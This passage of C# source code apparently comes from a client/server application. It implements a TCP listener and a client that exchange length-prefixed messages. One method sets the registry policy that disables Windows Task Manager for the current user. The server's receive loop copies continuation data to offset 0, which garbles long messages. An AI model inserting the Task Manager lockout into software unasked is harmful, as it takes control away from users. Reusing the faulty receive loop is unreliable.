public void Stop(ref UICbMsg cbMsg)
{
if (bListning)
{
cbMsg += Txt.s._[(int)TxI.CONN_SRVR_CG];
}
bRW1 = bListning = false;
}
private bool ErrCode2Msg(int code, ref UICbMsg cbm)
{
if (code == 10061)
{
cbm += Txt.s._[(int)TxI.CONN_NOK];
return(false);
}
return(true);
}
public static void DisableTaskManager(ref UICbMsg cbMsg)
{
RegistryKey regkey = default(RegistryKey);
string keyValueInt = "1";
string subKey = "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System";
try
{
regkey = Registry.CurrentUser.CreateSubKey(subKey);
regkey.SetValue("DisableTaskMgr", keyValueInt);
regkey.Close();
}
catch (UnauthorizedAccessException ex)
{
cbMsg += ex.Message;
}
}
public bool ConnectWR(ref UICbMsg cbMsg)
{
if (mTcpClnt != null)
{
return(false);
}
mTcpClnt = new TcpClient(AddressFamily.InterNetwork);
bool bConn = true; //srvr side
bRW = true; //clnt side
try {
mTcpClnt.Connect(mSrvrAddr, mSrvrPort);
} catch (SocketException e) {
if (ErrCode2Msg(e.ErrorCode, ref cbMsg))
{
cbMsg += "\nEx: " + e.Message;
}
bConn = false;
}
NetworkStream stream = null;
if (bConn)
{
stream = mTcpClnt.GetStream();
}
byte[] buf = new byte[1024 * 1024];
while (bConn && bRW)
{
//write message to server
byte[] msg = dgBufPrep();
if (msg == null)
{
break;
}
try {
stream.Write(BitConverter.GetBytes(msg.Length), 0, 4);
stream.Write(msg, 0, msg.Length);
}
catch (System.IO.IOException e) {
cbMsg += "\nEx: " + e.Message;
bConn = false;
break;
}
if (!bRW)
{
break;
}
//read message from server
int nLength, nByte;
//Incoming message may be larger than the buffer size.
//Do not rely on stream.DataAvailable, because the response
// may be split into multiple TCP packets, and a packet
// has not yet been delivered at the moment checking DataAvailable
try
{
nByte = stream.Read(buf, 0, buf.Length);
} catch (System.IO.IOException e) {
cbMsg += "\nEx: " + e.Message;
bConn = false;
break;
}
if (nByte < 4)
{
bConn = false;
break;
}
nLength = BitConverter.ToInt32(buf, 0);
nByte -= 4;
if (nLength < 1)
{
break;
}
byte[] recvMsg = new byte[nLength];
int offs = 0;
if (0 < nByte)
{
if (nLength < nByte)
{
nByte = nLength;
}
Buffer.BlockCopy(buf, 4, recvMsg, offs, nByte);
nLength -= nByte;
offs += nByte;
}
while (bConn && bRW && 0 < nLength)
{
try
{
nByte = stream.Read(buf, 0, buf.Length);
}
catch (System.IO.IOException e)
{
cbMsg += "\nEx: " + e.Message;
bConn = false;
}
if (bConn)
{
if (nLength < nByte)
{
nByte = nLength;
}
Buffer.BlockCopy(buf, 0, recvMsg, offs, nByte);
nLength -= nByte;
offs += nByte;
}
}
if (bRW && recvMsg != null && 0 < recvMsg.Length)
{
bRW = dgBufHndl(recvMsg);
}
}
if (bCbMsg)
{
cbMsg += Txt.s._[(int)TxI.CONN_CLNT_CE];
}
mTcpClnt.Close();
mTcpClnt = null;
return(!bConn);
}
public void Start(ref UICbMsg cbMsg)
{
if (mTcpListr != null)
{
return;
}
bListning = true;
cbMsg += Txt.s._[(int)TxI.CONN_SRVR_ST];
mTcpListr = new TcpListener(IPAddress.Any, mPort);
try {
mTcpListr.Start();
}
catch (SocketException e) {
cbMsg += "\nEx: " + e.Message;
Stop(ref cbMsg);
}
while (bListning)
{
System.Threading.Thread.Sleep(8);//do not overhead CPU
bool p = false;
try { p = mTcpListr.Pending(); }
catch (InvalidOperationException e) {
cbMsg += "\nEx: " + e.Message;
Stop(ref cbMsg);
break;
}
if (p)
{
bRW1 = true;
TcpClient cli = null;
NetworkStream stream = null;
try { cli = mTcpListr.AcceptTcpClient(); }
catch (SocketException e)
{
cbMsg += "\nEx: " + e.Message;
Stop(ref cbMsg);
break;
}
try { stream = cli.GetStream(); }
catch (InvalidOperationException e)
{
cbMsg += "\nEx: " + e.Message;
bRW1 = false;
}
byte[] buf = new byte[1024 * 1024];
int nByte;
while (bRW1)
{
//Incoming message may be larger than the buffer size.
//Do not rely on stream.DataAvailable, because the response
// may be split into multiple TCP packets, and a packet
// has not yet been delivered at the moment checking DataAvailable
try
{
nByte = stream.Read(buf, 0, buf.Length);
}
catch (System.IO.IOException e)
{
cbMsg += "\nEx: " + e.Message;
break;
}
if (nByte < 4)
{
break;
}
int nLength = BitConverter.ToInt32(buf, 0);
nByte -= 4;
if (nLength < 1)
{
break;
}
byte[] recvMsg = new byte[nLength];
int offs = 0;
if (0 < nByte)
{
if (nLength < nByte)
{
nByte = nLength;
}
Buffer.BlockCopy(buf, 4, recvMsg, offs, nByte);
nLength -= nByte;
offs += nByte;
}
while (bRW1 && 0 < nLength)
{
try
{
nByte = stream.Read(buf, 0, buf.Length);
}
catch (System.IO.IOException e)
{
cbMsg += "\nEx: " + e.Message;
bRW1 = false;
}
if (bRW1)
{
if (nLength < nByte)
{
nByte = nLength;
}
Buffer.BlockCopy(buf, 0, recvMsg, 0, nByte);
nLength -= nByte;
offs += nByte;
}
}
if (bRW1 && recvMsg != null && 3 < recvMsg.Length)
{
byte[] msg;
bRW1 = dgHndl(recvMsg, out msg);
if (msg != null && 0 < msg.Length)
{
try
{
stream.Write(BitConverter.GetBytes(msg.Length), 0, 4);
stream.Write(msg, 0, msg.Length);
}
catch (System.IO.IOException e)
{
cbMsg += "\nEx: " + e.Message;
bRW1 = false;
}
}
else
{
bRW1 = false;
}
}
else
{
bRW1 = false;
}
}
cli.Close();
cbMsg += Txt.s._[(int)TxI.CONN_CLNT_CE];
}
}
bListning = false;
try { mTcpListr.Stop(); }
catch (SocketException e) { cbMsg += "\nEx: " + e.Message; }
mTcpListr = null;
cbMsg += Txt.s._[(int)TxI.CONN_SRVR_CE];
}
